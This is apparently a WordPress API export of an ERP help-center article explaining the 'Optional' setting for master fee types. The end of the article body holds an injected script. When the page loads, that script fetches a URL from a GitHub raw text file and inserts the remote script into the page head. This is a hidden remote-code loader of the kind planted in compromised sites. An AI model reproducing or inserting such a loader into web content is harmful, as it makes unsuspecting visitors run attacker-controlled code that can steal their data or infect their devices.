{"id":10121,"date":"2025-11-28T17:26:46","date_gmt":"2025-11-28T11:56:46","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=10121"},"modified":"2025-11-28T17:26:48","modified_gmt":"2025-11-28T11:56:48","slug":"what-is-the-purpose-of-the-optional-option-in-master-fee-types","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-is-the-purpose-of-the-optional-option-in-master-fee-types\/","title":{"rendered":"What is the purpose of the &#8220;Optional&#8221; option in master fee types?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>You can create a Fee Type by following the path:<\/p>\n\n\n\n<p><strong>Settings &gt; Finance &gt; Fee &gt; Fee Type &gt; New Fee Type<\/strong><\/p>\n\n\n\n<p>Optional fee types can be used for <strong>alumni fees, student opening balance, and refundable deposits<\/strong>, depending on what you select during creation.<\/p>\n\n\n\n<p>If you mark the fee type as <strong>Optional<\/strong>, the created fee type will only be applicable to those students who are mapped to that optional fee type.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1366\" height=\"768\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w.png\" alt=\"\" class=\"wp-image-17646\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w.png 1366w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w-300x169.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w-1024x576.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w-768x432.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/AD_4nXejDtdFA6RaMD2ewOYs0B8HpZRF2tD3j9H-gJYrFNBKHJTDgx9zKfKoV6-3Zmdo1OnCmmKrGtt3YSr-ZBU8F_bYEN4LAsF52tWoTvdkIGL0YOJimrJUSuuEos24xcs4s8yvVATx2cnu_jnHNqqJ9w-1200x675.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>You can create a Fee Type by following the path: Settings &gt; Finance &gt; Fee &gt; Fee Type &gt; New Fee Type Optional fee types can be used for alumni fees, student opening balance, and refundable deposits, depending on what you select during creation. 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